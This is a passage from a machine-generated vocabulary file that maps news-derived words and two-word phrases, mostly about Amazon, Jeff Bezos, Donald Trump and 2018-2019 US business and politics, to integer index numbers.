128477,\n  \"including workers\": 128478,\n  \"portrayed\": 128479,\n  \"develops\": 128480,\n  \"chicago raised\": 128481,\n  \"fdny emts\": 128482,\n  \"outwitted regulators\": 128483,\n  \"wintour\": 128484,\n  \"pipeline bolsonaro\": 128485,\n  \"announces kim\": 128486,\n  \"tremendous dishonesty\": 128487,\n  \"says qualified\": 128488,\n  \"say groundwater\": 128489,\n  \"unless somebody\": 128490,\n  \"profile liberal\": 128491,\n  \"dttm operations\": 128492,\n  \"photo captured\": 128493,\n  \"programme rounding\": 128494,\n  \"palantir mijente\": 128495,\n  \"controversial dams\": 128496,\n  \"210 days\": 128497,\n  \"win donald\": 128498,\n  \"liz\": 128499,\n  \"racist clothing\": 128500,\n  \"environmental regulations\": 128501,\n  \"beach reach\": 128502,\n  \"correspondent today\": 128503,\n  \"korea missile\": 128504,\n  \"evaluate celebrated\": 128505,\n  \"perfect plane\": 128506,\n  \"friends self\": 128507,\n  \"q3 2018\": 128508,\n  \"publish distribute\": 128509,\n  \"fbi finds\": 128510,\n  \"albany ali\": 128511,\n  \"hightower imagines\": 128512,\n  \"kyodo\": 128513,\n  \"bad mouthing\": 128514,\n  \"brandview\": 128515,\n  \"6190\": 128516,\n  \"wants gop\": 128517,\n  \"advancing age\": 128518,\n  \"protested long\": 128519,\n  \"tran 102602cb\": 128520,\n  \"trump spurred\": 128521,\n  \"comic sense\": 128522,\n  \"giving multibillion\": 128523,\n  \"bias just\": 128524,\n  \"double lives\": 128525,\n  \"eminent domain\": 128526,\n  \"harwood gop\": 128527,\n  \"world judge\": 128528,\n  \"questions surround\": 128529,\n  \"aggressive according\": 128530,\n  \"online capabilities\": 128531,\n  \"quarter charge\": 128532,\n  \"riots\": 128533,\n  \"billionaires isn\": 128534,\n  \"online giants\": 128535,\n  \"reportedly acted\": 128536,\n  \"dr jekyll\": 128537,\n  \"jpg nofollow\": 128538,\n  \"meter\": 128539,\n  \"soldado vignette\": 128540,\n  \"phone avid\": 128541,\n  \"chinese retaliating\": 128542,\n  \"contractors employed\": 128543,\n  \"point saying\": 128544,\n  \"unanimously agreed\": 128545,\n  \"104 267\": 128546,\n  \"800 workers\": 128547,\n  \"financial measures\": 128548,\n  \"electronics maker\": 128549,\n  \"benefiting majority\": 128550,\n  \"entire chains\": 128551,\n  \"won leave\": 128552,\n  \"trump blames\": 128553,\n  \"recognize guaido\": 128554,\n  \"amazon raises\": 128555,\n  \"testimony historical\": 128556,\n  \"nasir\": 128557,\n  \"days left\": 128558,\n  \"separate retail\": 128559,\n  \"outlets rainey\": 128560,\n  \"revealed quadruple\": 128561,\n  \"reportedly stormed\": 128562,\n  \"confirmed amazon\": 128563,\n  \"recode decode\": 128564,\n  \"tightly limit\": 128565,\n  \"trump threatening\": 128566,\n  \"partners looking\": 128567,\n  \"preconceived\": 128568,\n  \"paterson acknowledge\": 128569,\n  \"socially liberal\": 128570,\n  \"rawest\": 128571,\n  \"browser history\": 128572,\n  \"companies struggling\": 128573,\n  \"justice look\": 128574,\n  \"left alex\": 128575,\n  \"huttenlocher\": 128576,\n  \"simulate\": 128577,\n  \"app warren\": 128578,\n  \"packaged\": 128579,\n  \"dropdown\": 128580,\n  \"overall surprising\": 128581,\n  \"city mayor\": 128582,\n  \"djax_mobileadserver php\": 128583,\n  \"hyper growth\": 128584,\n  \"sagged close\": 128585,\n  \"extremist watch\": 128586,\n  \"year article\": 128587,\n  \"played\": 128588,\n  \"prove\": 128589,\n  \"bldg\": 128590,\n  \"univision moved\": 128591,\n  \"competition issues\": 128592,\n  \"fed index\": 128593,\n  \"action figures\": 128594,\n  \"wilson electronics\": 128595,\n  \"big expectations\": 128596,\n  \"575 shares\": 128597,\n  \"bet tweeted\": 128598,\n  \"trump wears\": 128599,\n  \"told bezos\": 128600,\n  \"repaired extensive\": 128601,\n  \"jefferies note\": 128602,\n  \"wisconsin today\": 128603,\n  \"firm fired\": 128604,\n  \"center industry\": 128605,\n  \"established cost\": 128606,\n  \"making stop\": 128607,\n  \"elber\": 128608,\n  \"weed want\": 128609,\n  \"community rules\": 128610,\n  \"delivery branded\": 128611,\n  \"crackpot theories\": 128612,\n  \"limit global\": 128613,\n  \"projects built\": 128614,\n  \"really kind\": 128615,\n  \"prospective acquisition\": 128616,\n  \"cancelsits\": 128617,\n  \"disney dis\": 128618,\n  \"matt schlapp\": 128619,\n  \"000 dinette\": 128620,\n  \"preferred title\": 128621,\n  \"china attempts\": 128622,\n  \"federal information\": 128623,\n  \"release smt\": 128624,\n  \"charlie ripley\": 128625,\n  \"tiny boston\": 128626,\n  \"mouthwash\": 128627,\n  \"new attacks\": 128628,\n  \"women nora\": 128629,\n  \"funny way\": 128630,\n  \"federal\": 128631,\n  \"turquoise face\": 128632,\n  \"offer product\": 128633,\n  \"sanders expressed\": 128634,\n  \"family garage\": 128635,\n  \"video hizzoner\": 128636,\n  \"brien\": 128637,\n  \"closing hundreds\": 128638,\n  \"typical trump\": 128639,\n  \"apparent key\": 128640,\n  \"streaming video\": 128641,\n  \"specifics know\": 128642,\n  \"filming\": 128643,\n  \"matter quiet\": 128644,\n  \"heffernan funds\": 128645,\n  \"deterred chinese\": 128646,\n  \"guardian\": 128647,\n  \"liberal mob\": 128648,\n  \"stauch\": 128649,\n  \"jets lacked\": 128650,\n  \"emarketer\": 128651,\n  \"office according\": 128652,\n  \"temporarily restraining\": 128653,\n  \"job toldthe\": 128654,\n  \"louis vuitton\": 128655,\n  \"trust decreased\": 128656,\n  \"giant shares\": 128657,\n  \"overnight instead\": 128658,\n  \"prime minister\": 128659,\n  \"tour abroad\": 128660,\n  \"chat function\": 128661,\n  \"cbs technically\": 128662,\n  \"ecolab raised\": 128663,\n  \"retirement plan\": 128664,\n  \"new context\": 128665,\n  \"discouraged people\": 128666,\n  \"save sears\": 128667,\n  \"union targets\": 128668,\n  \"reality software\": 128669,\n  \"1729et\": 128670,\n  \"individual works\": 128671,\n  \"different gift\": 128672,\n  \"readers actually\": 128673,\n  \"banking services\": 128674,\n  \"create documentary\": 128675,\n  \"controversial pentagon\": 128676,\n  \"alarmed\": 128677,\n  \"mom\": 128678,\n  \"kissinger\": 128679,\n  \"massive cultural\": 128680,\n  \"trump washington\": 128681,\n  \"2003 harry\": 128682,\n  \"resource fair\": 128683,\n  \"evil person\": 128684,\n  \"began raising\": 128685,\n  \"behemoth trump\": 128686,\n  \"reportedly reluctant\": 128687,\n  \"hour joe\": 128688,\n  \"data thumbimageelem\": 128689,\n  \"stop providing\": 128690,\n  \"kdugan nypost\": 128691,\n  \"mair tenuous\": 128692,\n  \"ordinarily credit\": 128693,\n  \"insider contacted\": 128694,\n  \"largest democracy\": 128695,\n  \"pam andy\": 128696,\n  \"countersuing\": 128697,\n  \"deleo\": 128698,\n  \"2019 reuters\": 128699,\n  \"amazon dressing\": 128700,\n  \"shutdown roughly\": 128701,\n  \"demented desire\": 128702,\n  \"purchases exclusive\": 128703,\n  \"herbs\": 128704,\n  \"vote hat\": 128705,\n  \"post holds\": 128706,\n  \"aide kelly\": 128707,\n  \"brash\": 128708,\n  \"far higher\": 128709,\n  \"public interview\": 128710,\n  \"film writer\": 128711,\n  \"coverage unfair\": 128712,\n  \"agency survive\": 128713,\n  \"does 2018\": 128714,\n  \"2016 gop\": 128715,\n  \"defences\": 128716,\n  \"negative session\": 128717,\n  \"aeht makes\": 128718,\n  \"order budget\": 128719,\n  \"political contribution\": 128720,\n  \"young housekeeper\": 128721,\n  \"aforementioned brain\": 128722,\n  \"franck rougier\": 128723,\n  \"reform ebony\": 128724,\n  \"crm industry\": 128725,\n  \"eastern follow\": 128726,\n  \"amazon release\": 128727,\n  \"way higher\": 128728,\n  \"divide intensifies\": 128729,\n  \"friends george\": 128730,\n  \"dan bartlett\": 128731,\n  \"kavanaugh right\": 128732,\n  \"vaunted amazon\": 128733,\n  \"wsj humana\": 128734,\n  \"segment adjusted\": 128735,\n  \"modern century\": 128736,\n  \"mulvaney\": 128737,\n  \"firm announced\": 128738,\n  \"creating way\": 128739,\n  \"gasp rep\": 128740,\n  \"struggling city\": 128741,\n  \"cohnovernight\": 128742,\n  \"hughes worked\": 128743,\n  \"report automatically\": 128744,\n  \"post soon\": 128745,\n  \"gage skidmore\": 128746,\n  \"maps allowing\": 128747,\n  \"post unrelenting\": 128748,\n  \"door open\": 128749,\n  \"987mm\": 128750,\n  \"really exist\": 128751,\n  \"ranks high\": 128752,\n  \"answers operator\": 128753,\n  \"amazon subscription\": 128754,\n  \"allow greater\": 128755,\n  \"endorse privatizing\": 128756,\n  \"new apps\": 128757,\n  \"schooled\": 128758,\n  \"downs\": 128759,\n  \"daphn\\u00e9 angl\\u00e8s\": 128760,\n  \"forward president\": 128761,\n  \"proprietary tech\": 128762,\n  \"used botnets\": 128763,\n  \"lone\": 128764,\n  \"trending obama\": 128765,\n  \"claimed google\": 128766,\n  \"hilliard queensbridge\": 128767,\n  \"post wouldn\": 128768,\n  \"started buying\": 128769,\n  \"shop driver\": 128770,\n  \"facebook facebook\": 128771,\n  \"policy novice\": 128772,\n  \"cloud dominance\": 128773,\n  \"encore boston\": 128774,\n  \"work dry\": 128775,\n  \"prisoners\": 128776,\n  \"instagram\": 128777,\n  \"isolationist path\": 128778,\n  \"angeles mngmt\": 128779,\n  \"clerical sex\": 128780,\n  \"authorizing committees\": 128781,\n  \"grassley\": 128782,\n  \"uncovered long\": 128783,\n  \"tweeted los\": 128784,\n  \"economy society\": 128785,\n  \"secretary chairs\": 128786,\n  \"political arena\": 128787,\n  \"symbol aapl\": 128788,\n  \"business schwietzer\": 128789,\n  \"open 170\": 128790,\n  \"qi wireless\": 128791,\n  \"cancer treatments\": 128792,\n  \"alcohol fuelled\": 128793,\n  \"published ami\": 128794,\n  \"passes judgement\": 128795,\n  \"complete sweep\": 128796,\n  \"carl\": 128797,\n  \"doa\": 128798,\n  \"threshold graph\": 128799,\n  \"retweeted\": 128800,\n  \"bernstein center\": 128801,\n  \"suffocating debt\": 128802,\n  \"strain writes\": 128803,\n  \"auto workers\": 128804,\n  \"john zaccone\": 128805,\n  \"week nextshark\": 128806,\n  \"zone\": 128807,\n  \"massacre posted\": 128808,\n  \"market prices\": 128809,\n  \"helped stanch\": 128810,\n  \"standing belt\": 128811,\n  \"journal col\": 128812,\n  \"foundation exhibitions\": 128813,\n  \"drone regulation\": 128814,\n  \"xr amazon\": 128815,\n  \"letter protesting\": 128816,\n  \"pretty impossible\": 128817,\n  \"affairs plus\": 128818,\n  \"bazemore\": 128819,\n  \"earn buck\": 128820,\n  \"matthew lederman\": 128821,\n  \"dangers\": 128822,\n  \"immediately receive\": 128823,\n  \"common salary\": 128824,\n  \"restrictions perceived\": 128825,\n  \"showtime ben\": 128826,\n  \"reads make\": 128827,\n  \"news producer\": 128828,\n  \"firm shares\": 128829,\n  \"party divisions\": 128830,\n  \"pension accounts\": 128831,\n  \"thistime\": 128832,\n  \"44842732821 aff\": 128833,\n  \"amazon fo\": 128834,\n  \"carell announced\": 128835,\n  \"novels including\": 128836,\n  \"taking iton\": 128837,\n  \"kimber lockhart\": 128838,\n  \"shirtless mirror\": 128839,\n  \"mayfield\": 128840,\n  \"s4a k1a\": 128841,\n  \"illicit text\": 128842,\n  \"reaction inside\": 128843,\n  \"congress regarding\": 128844,\n  \"recession scare\": 128845,\n  \"president allegations\": 128846,\n  \"officer alan\": 128847,\n  \"biggest book\": 128848,\n  \"hey presto\": 128849,\n  \"truck drivers\": 128850,\n  \"conspiracy theorist\": 128851,\n  \"2018 metrics\": 128852,\n  \"uneven trading\": 128853,\n  \"weren released\": 128854,\n  \"potentially fatal\": 128855,\n  \"organization retail\": 128856,\n  \"failed extortion\": 128857,\n  \"royally\": 128858,\n  \"order clothes\": 128859,\n  \"sized indian\": 128860,\n  \"reported widely\": 128861,\n  \"attended public\": 128862,\n  \"libel case\": 128863,\n  \"sensitive mining\": 128864,\n  \"empowers\": 128865,\n  \"rare treat\": 128866,\n  \"2020 revenue\": 128867,\n  \"populations living\": 128868,\n  \"thirdparty\": 128869,\n  \"revenue target\": 128870,\n  \"elena richardson\": 128871,\n  \"bare shoulder\": 128872,\n  \"essential component\": 128873,\n  \"establishing blueprint\": 128874,\n  \"afghan french\": 128875,\n  \"denotes\": 128876,\n  \"immigrant measures\": 128877,\n  \"reform congestion\": 128878,\n  \"represents\": 128879,\n  \"bramer released\": 128880,\n  \"term optimization\": 128881,\n  \"written previously\": 128882,\n  \"boss trump\": 128883,\n  \"house did\": 128884,\n  \"head jennifer\": 128885,\n  \"nomination senate\": 128886,\n  \"pageants presidents\": 128887,\n  \"surviving genocide\": 128888,\n  \"1p seeing\": 128889,\n  \"president doubled\": 128890,\n  \"ridiculously comparing\": 128891,\n  \"officially announce\": 128892,\n  \"quickly jumped\": 128893,\n  \"entrench market\": 128894,\n  \"episode tells\": 128895,\n  \"tlaib\": 128896,\n  \"claims post\": 128897,\n  \"union capitol\": 128898,\n  \"dark rendition\": 128899,\n  \"continual guilt\": 128900,\n  \"case commerce\": 128901,\n  \"tags alt\": 128902,\n  \"city declared\": 128903,\n  \"best deal\": 128904,\n  \"freshman congressperson\": 128905,\n  \"realism alias\": 128906,\n  \"wants computers\": 128907,\n  \"mda news\": 128908,\n  \"fall ami\": 128909,\n  \"bitches\": 128910,\n  \"jurisdictional capacity\": 128911,\n  \"majesty\": 128912,\n  \"expects customer\": 128913,\n  \"success fair\": 128914,\n  \"press unless\": 128915,\n  \"option\": 128916,\n  \"charlottesville violence\": 128917,\n  \"submitting preliminary\": 128918,\n  \"russia paul\": 128919,\n  \"vaco\": 128920,\n  \"pecker relationship\": 128921,\n  \"collins colorado\": 128922,\n  \"populated areas\": 128923,\n  \"advising clients\": 128924,\n  \"created decade\": 128925,\n  \"starts calling\": 128926,\n  \"moving jobs\": 128927,\n  \"kardashian struts\": 128928,\n  \"elect alexandria\": 128929,\n  \"ist brands\": 128930,\n  \"bluetooth wireless\": 128931,\n  \"jason schwartz\": 128932,\n  \"jermaine\": 128933,\n  \"amazon profit\": 128934,\n  \"carol lee\": 128935,\n  \"policies exposed\": 128936,\n  \"minor flu\": 128937,\n  \"fool data\": 128938,\n  \"deemed nonessential\": 128939,\n  \"lavalin\": 128940,\n  \"affair divorce\": 128941,\n  \"betterment qapital\": 128942,\n  \"publix line\": 128943,\n  \"jcpenney\": 128944,\n  \"naacp\": 128945,\n  \"cards expert\": 128946,\n  \"narrow slit\": 128947,\n  \"books private\": 128948,\n  \"improve people\": 128949,\n  \"shares vermont\": 128950,\n  \"elin\": 128951,\n  \"infiltrating\": 128952,\n  \"wayfair doesn\": 128953,\n  \"state collaborators\": 128954,\n  \"kicked wikileak\": 128955,\n  \"special contracts\": 128956,\n  \"portfolios 2018\": 128957,\n  \"weinstein john\": 128958,\n  \"voice command\": 128959,\n  \"beer commercials\": 128960,\n  \"friend accidentally\": 128961,\n  \"pages cramer\": 128962,\n  \"features lauren\": 128963,\n  \"shah provided\": 128964,\n  \"giants fox\": 128965,\n  \"recently\": 128966,\n  \"cbp southern\": 128967,\n  \"2018q4\": 128968,\n  \"murray\": 128969,\n  \"include barack\": 128970,\n  \"tax cheating\": 128971,\n  \"message ended\": 128972,\n  \"increasing numbers\": 128973,\n  \"program director\": 128974,\n  \"president tendency\": 128975,\n  \"bush began\": 128976,\n  \"spain italy\": 128977,\n  \"ai brain\": 128978,\n  \"local guy\": 128979,\n  \"voice market\": 128980,\n  \"cortez quick\": 128981,\n  \"nsa hacked\": 128982,\n  \"global initiatives\": 128983,\n  \"book sisters\": 128984,\n  \"incredible vehicle\": 128985,\n  \"cruncher article\": 128986,\n  \"newlyweds minutes\": 128987,\n  \"zealander\": 128988,\n  \"foods tsn\": 128989,\n  \"height 124\": 128990,\n  \"service suggested\": 128991,\n  \"relevant brian\": 128992,\n  \"does supply\": 128993,\n  \"uncharacteristically quiet\": 128994,\n  \"reality curve\": 128995,\n  \"fest marathon\": 128996,\n  \"information immediacy\": 128997,\n  \"hinton read\": 128998,\n  \"stateand local\": 128999,\n  \"797\": 129000,\n  \"insider calculates\": 129001,\n  \"charlottesville riots\": 129002,\n  \"dominant provider\": 129003,\n  \"considering blocking\": 129004,\n  \"tolowercase\": 129005,\n  \"bar needs\": 129006,\n  \"traditional small\": 129007,\n  \"hoffmann\": 129008,\n  \"pynchonian\": 129009,\n  \"bluemountain\": 129010,\n  \"read politico\": 129011,\n  \"politics tags\": 129012,\n  \"experience schwan\": 129013,\n  \"based pro\": 129014,\n  \"official statement\": 129015,\n  \"net doubleverify\": 129016,\n  \"years running\": 129017,\n  \"fordham manor\": 129018,\n  \"headlineposttext\": 129019,\n  \"wegmann couple\": 129020,\n  \"previously linked\": 129021,\n  \"facebook earnings\": 129022,\n  \"merge 2018\": 129023,\n  \"dye workshop\": 129024,\n  \"attack certain\": 129025,\n  \"certain items\": 129026,\n  \"sea levels\": 129027,\n  \"brogrammers\": 129028,\n  \"giving away\": 129029,\n  \"speaker andeditor\": 129030,\n  \"clemmons\": 129031,\n  \"platform right\": 129032,\n  \"company spokespeople\": 129033,\n  \"leslie sold\": 129034,\n  \"afro\": 129035,\n  \"roigfranzia\": 129036,\n  \"lee appreciation\": 129037,\n  \"stock traders\": 129038,\n  \"ceo gavin\": 129039,\n  \"cost implications\": 129040,\n  \"century\": 129041,\n  \"involves preventing\": 129042,\n  \"446\": 129043,\n  \"company audible\": 129044,\n  \"surrounding donald\": 129045,\n  \"common concern\": 129046,\n  \"airplane john\": 129047,\n  \"genuity\": 129048,\n  \"locks waving\": 129049,\n  \"bezo owned\": 129050,\n  \"accept delivery\": 129051,\n  \"president took\": 129052,\n  \"charge money\": 129053,\n  \"worldwide\": 129054,\n  \"human lurks\": 129055,\n  \"wingfield amazon\": 129056,\n  \"posted\": 129057,\n  \"rumors emerged\": 129058,\n  \"patreon follow\": 129059,\n  \"cheaper read\": 129060,\n  \"ratcheting\": 129061,\n  \"yesterday president\": 129062,\n  \"drone pilot\": 129063,\n  \"videx metadata\": 129064,\n  \"mortgaging\": 129065,\n  \"tax chinese\": 129066,\n  \"completely inaccurate\": 129067,\n  \"hungry\": 129068,\n  \"house hard\": 129069,\n  \"ornery\": 129070,\n  \"battle godzilla\": 129071,\n  \"underdog story\": 129072,\n  \"reform marijuana\": 129073,\n  \"day businesses\": 129074,\n  \"code\": 129075,\n  \"mccartney\": 129076,\n  \"stolberg\": 129077,\n  \"250 calling\": 129078,\n  \"a26142277\": 129079,\n  \"afp eva\": 129080,\n  \"addition\": 129081,\n  \"giant issuing\": 129082,\n  \"fed halts\": 129083,\n  \"iberian\": 129084,\n  \"close personal\": 129085,\n  \"2018 foiling\": 129086,\n  \"just impact\": 129087,\n  \"unlikable oligarchs\": 129088,\n  \"making loans\": 129089,\n  \"acquired 334\": 129090,\n  \"smartsheet\": 129091,\n  \"doesn respond\": 129092,\n  \"goliath attention\": 129093,\n  \"fascist rally\": 129094,\n  \"swatch ceo\": 129095,\n  \"drop binge\": 129096,\n  \"new precedent\": 129097,\n  \"descriptionplaintext jquery\": 129098,\n  \"fortnite 100m\": 129099,\n  \"added 223\": 129100,\n  \"rene\": 129101,\n  \"discussion amazon\": 129102,\n  \"logical step\": 129103,\n  \"oscars best\": 129104,\n  \"print advertising\": 129105,\n  \"mandate ends\": 129106,\n  \"alex shephard\": 129107,\n  \"pictures star\": 129108,\n  \"helou\": 129109,\n  \"nyc growing\": 129110,\n  \"republican millionaires\": 129111,\n  \"prime packages\": 129112,\n  \"president exulted\": 129113,\n  \"circuit vacates\": 129114,\n  \"780 million\": 129115,\n  \"forbes gwl\": 129116,\n  \"evenly distributed\": 129117,\n  \"ai brings\": 129118,\n  \"jordan peterson\": 129119,\n  \"tier\": 129120,\n  \"hiring discrimination\": 129121,\n  \"tiny cities\": 129122,\n  \"2019 lucas\": 129123,\n  \"brendan lacerda\": 129124,\n  \"studios party\": 129125,\n  \"boyfriend wants\": 129126,\n  \"write bad\": 129127,\n  \"mean music\": 129128,\n  \"court rules\": 129129,\n  \"facebook perfumania\": 129130,\n  \"offices iot\": 129131,\n  \"growth hurd\": 129132,\n  \"wage melissa\": 129133,\n  \"jenkins jr\": 129134,\n  \"week mona\": 129135,\n  \"various digital\": 129136,\n  \"posted alleged\": 129137,\n  \"backs maduro\": 129138,\n  \"offer fast\": 129139,\n  \"news congress\": 129140,\n  \"tribes\": 129141,\n  \"added incentive\": 129142,\n  \"private amazon\": 129143,\n  \"ruled gaza\": 129144,\n  \"specialized capabilities\": 129145,\n  \"jacket amazon\": 129146,\n  \"7ct 8et\": 129147,\n  \"horse leather\": 129148,\n  \"schuster marks\": 129149,\n  \"feature shows\": 129150,\n  \"sexy nurse\": 129151,\n  \"newest shadow\": 129152,\n  \"flux\": 129153,\n  \"company threatened\": 129154,\n  \"bell facebook\": 129155,\n  \"launched broadside\": 129156,\n  \"killing saudi\": 129157,\n  \"violating multiple\": 129158,\n  \"luckily\": 129159,\n  \"widely\": 129160,\n  \"states allow\": 129161,\n  \"selling\": 129162,\n  \"cause als\": 129163,\n  \"hamlin continued\": 129164,\n  \"111 total\": 129165,\n  \"apple results\": 129166,\n  \"tipping point\": 129167,\n  \"eric gay\": 129168,\n  \"familiar corporate\": 129169,\n  \"putting american\": 129170,\n  \"spokeswoman\": 129171,\n  \"trump new\": 129172,\n  \"trump property\": 129173,\n  \"infuriated president\": 129174,\n  \"clarivate analytics\": 129175,\n  \"hallford\": 129176,\n  \"corcoran join\": 129177,\n  \"memorable figurine\": 129178,\n  \"says donald\": 129179,\n  \"cloud programs\": 129180,\n  \"hopes\": 129181,\n  \"years calling\": 129182,\n  \"avenatti\": 129183,\n  \"away oatmeal\": 129184,\n  \"sketch emphasized\": 129185,\n  \"blanchard aaron\": 129186,\n  \"joins past\": 129187,\n  \"lmao m\\u025bnz\": 129188,\n  \"exposes generational\": 129189,\n  \"decidedly mum\": 129190,\n  \"streitfeld suggested\": 129191,\n  \"pay says\": 129192,\n  \"seek incentive\": 129193,\n  \"purchase ivanka\": 129194,\n  \"hiring teachers\": 129195,\n  \"promote fast\": 129196,\n  \"affordable tablet\": 129197,\n  \"mackowiak download\": 129198,\n  \"political summits\": 129199,\n  \"credit abramson\": 129200,\n  \"ele\": 129201,\n  \"international governments\": 129202,\n  \"key asset\": 129203,\n  \"cheaply\": 129204,\n  \"pentagon leaders\": 129205,\n  \"unacceptable business\": 129206,\n  \"competition increases\": 129207,\n  \"rep adriano\": 129208,\n  \"rezaian\": 129209,\n  \"quote bs\": 129210,\n  \"trade read\": 129211,\n  \"campus mentoring\": 129212,\n  \"border shutdown01\": 129213,\n  \"year cbs\": 129214,\n  \"services privacy\": 129215,\n  \"act unconstitutional\": 129216,\n  \"kitchen unnecessary\": 129217,\n  \"market president\": 129218,\n  \"decoded cnet\": 129219,\n  \"businesses selling\": 129220,\n  \"effectively tax\": 129221,\n  \"indigenous female\": 129222,\n  \"trademark sphere\": 129223,\n  \"implied market\": 129224,\n  \"549\": 129225,\n  \"pretty amusing\": 129226,\n  \"mck\": 129227,\n  \"tad smith\": 129228,\n  \"packages citing\": 129229,\n  \"year despite\": 129230,\n  \"page spoke\": 129231,\n  \"club sharp\": 129232,\n  \"hit shelves\": 129233,\n  \"allegedly walked\": 129234,\n  \"plunging amazon\": 129235,\n  \"having juicy\": 129236,\n  \"polluting\": 129237,\n  \"news ran\": 129238,\n  \"commerce package\": 129239,\n  \"away white\": 129240,\n  \"website optimization\": 129241,\n  \"strong case\": 129242,\n  \"left bezos\": 129243,\n  \"subpoeana power\": 129244,\n  \"hard truth\": 129245,\n  \"weimar\": 129246,\n  \"work danhof\": 129247,\n  \"blowback amazon\": 129248,\n  \"late sen\": 129249,\n  \"man life\": 129250,\n  \"virginia amazon\": 129251,\n  \"bezos larry\": 129252,\n  \"bezos reaction\": 129253,\n  \"wrote earlier\": 129254,\n  \"emergency relief\": 129255,\n  \"boosting profits\": 129256,\n  \"removal says\": 129257,\n  \"colin sebastian\": 129258,\n  \"bitty\": 129259,\n  \"object recognition\": 129260,\n  \"correct way\": 129261,\n  \"government designated\": 129262,\n  \"straight government\": 129263,\n  \"foot lease\": 129264,\n  \"games smart\": 129265,\n  \"new virtual\": 129266,\n  \"world travel\": 129267,\n  \"world billions\": 129268,\n  \"forcing smaller\": 129269,\n  \"funneling\": 129270,\n  \"isn walmart\": 129271,\n  \"conor\": 129272,\n  \"near multi\": 129273,\n  \"retail federation\": 129274,\n  \"business ocasio\": 129275,\n  \"brand health\": 129276,\n  \"huge minus\": 129277,\n  \"smelled rat\": 129278,\n  \"huseman comments\": 129279,\n  \"happy smokey\": 129280,\n  \"amazon extension\": 129281,\n  \"city missourians\": 129282,\n  \"industry interests\": 129283,\n  \"bad bezos\": 129284,\n  \"trade worries\": 129285,\n  \"year resolution\": 129286,\n  \"goure\": 129287,\n  \"northwest battle\": 129288,\n  \"neos\": 129289,\n  \"sky sports\": 129290,\n  \"hours trump\": 129291,\n  \"bitching\": 129292,\n  \"kpfk\": 129293,\n  \"couldn\": 129294,\n  \"google note\": 129295,\n  \"analysts write\": 129296,\n  \"office benioff\": 129297,\n  \"unchanged\": 129298,\n  \"legal compliance\": 129299,\n  \"journal alessandra\": 129300,\n  \"service quality\": 129301,\n  \"novey latest\": 129302,\n  \"horror features\": 129303,\n  \"government thumbs\": 129304,\n  \"employees penned\": 129305,\n  \"homelessness problem\": 129306,\n  \"twitter better\": 129307,\n  \"market stock\": 129308,\n  \"craft cannabis\": 129309,\n  \"specific celebrity\": 129310,\n  \"ladies watched\": 129311,\n  \"covered gun\": 129312,\n  \"convened task\": 129313,\n  \"feat\": 129314,\n  \"fraudulent products\": 129315,\n  \"soaring 2018\": 129316,\n  \"frozen food\": 129317,\n  \"ramsay bolton\": 129318,\n  \"dollar valuation\": 129319,\n  \"center warehouse\": 129320,\n  \"joint appearance\": 129321,\n  \"university heller\": 129322,\n  \"big hike\": 129323,\n  \"needy\": 129324,\n  \"quiet far\": 129325,\n  \"today american\": 129326,\n  \"tariff prompting\": 129327,\n  \"politics government\": 129328,\n  \"vogue editor\": 129329,\n  \"assert control\": 129330,\n  \"called summit\": 129331,\n  \"set today\": 129332,\n  \"investigation stems\": 129333,\n  \"brings new\": 129334,\n  \"p4yyvn54oi\": 129335,\n  \"assisted treatment\": 129336,\n  \"ago 2018\": 129337,\n  \"bojack\": 129338,\n  \"orange tracks\": 129339,\n  \"numbers including\": 129340,\n  \"fremont\": 129341,\n  \"bramer\": 129342,\n  \"did hear\": 129343,\n  \"promoted hollywood\": 129344,\n  \"allies regularly\": 129345,\n  \"news awards\": 129346,\n  \"century economy\": 129347,\n  \"similarly targeted\": 129348,\n  \"schroeder marketwatch\": 129349,\n  \"drafted\": 129350,\n  \"jumping ship\": 129351,\n  \"amazon tackles\": 129352,\n  \"minnesota attorney\": 129353,\n  \"native\": 129354,\n  \"appealing\": 129355,\n  \"american bestseller\": 129356,\n  \"escape list\": 129357,\n  \"thanks maria\": 129358,\n  \"added 190\": 129359,\n  \"b5q 132\": 129360,\n  \"immediate backstory\": 129361,\n  \"similar resources\": 129362,\n  \"hunters personal\": 129363,\n  \"outing\": 129364,\n  \"candidate relationships\": 129365,\n  \"want knowledge\": 129366,\n  \"highs bullish\": 129367,\n  \"lion\": 129368,\n  \"congress work\": 129369,\n  \"hobbled\": 129370,\n  \"sweepstakes ceo\": 129371,\n  \"direction\": 129372,\n  \"internet clip\": 129373,\n  \"liesman reports\": 129374,\n  \"article stated\": 129375,\n  \"greensfelder\": 129376,\n  \"bosses\": 129377,\n  \"modernize state\": 129378,\n  \"2018 versus\": 129379,\n  \"big technology\": 129380,\n  \"cancel netflix\": 129381,\n  \"chris christie\": 129382,\n  \"discussion maitland\": 129383,\n  \"destroying businesses\": 129384,\n  \"page world\": 129385,\n  \"sounds strange\": 129386,\n  \"needs urgent\": 129387,\n  \"caucus\": 129388,\n  \"target kamhi\": 129389,\n  \"assets net\": 129390,\n  \"lengthy post\": 129391,\n  \"seat house\": 129392,\n  \"ryan vlastelica\": 129393,\n  \"detonated\": 129394,\n  \"dominican\": 129395,\n  \"increased pressure\": 129396,\n  \"developers potentially\": 129397,\n  \"amazon saved\": 129398,\n  \"trade 2018\": 129399,\n  \"run feature\": 129400,\n  \"workers signed\": 129401,\n  \"reporting spokesperson\": 129402,\n  \"intense\": 129403,\n  \"bizarre economy\": 129404,\n  \"inside homes\": 129405,\n  \"free purchases\": 129406,\n  \"email\": 129407,\n  \"bloody war\": 129408,\n  \"lacks\": 129409,\n  \"residents check\": 129410,\n  \"entertainment tonight\": 129411,\n  \"noble trump\": 129412,\n  \"southwest profitable\": 129413,\n  \"weakened substantially\": 129414,\n  \"currently fully\": 129415,\n  \"ami affair\": 129416,\n  \"similar efforts\": 129417,\n  \"named alexa\": 129418,\n  \"wage rate\": 129419,\n  \"environment\": 129420,\n  \"titan announced\": 129421,\n  \"separate story\": 129422,\n  \"drone uses\": 129423,\n  \"2420 wilson\": 129424,\n  \"pharmacies amazon\": 129425,\n  \"reaches draft\": 129426,\n  \"management nives\": 129427,\n  \"partisan gerrymandering\": 129428,\n  \"investing industry\": 129429,\n  \"gmt trump\": 129430,\n  \"clapper james\": 129431,\n  \"mega ministry\": 129432,\n  \"jokes reference\": 129433,\n  \"story limo\": 129434,\n  \"migrates\": 129435,\n  \"ran catch\": 129436,\n  \"owned\": 129437,\n  \"resurgent books\": 129438,\n  \"flatbread\": 129439,\n  \"longtime head\": 129440,\n  \"mod hp_lead_pos4\": 129441,\n  \"reins\": 129442,\n  \"wide fishing\": 129443,\n  \"pharis\": 129444,\n  \"bribe just\": 129445,\n  \"pinch\": 129446,\n  \"memorial stadium\": 129447,\n  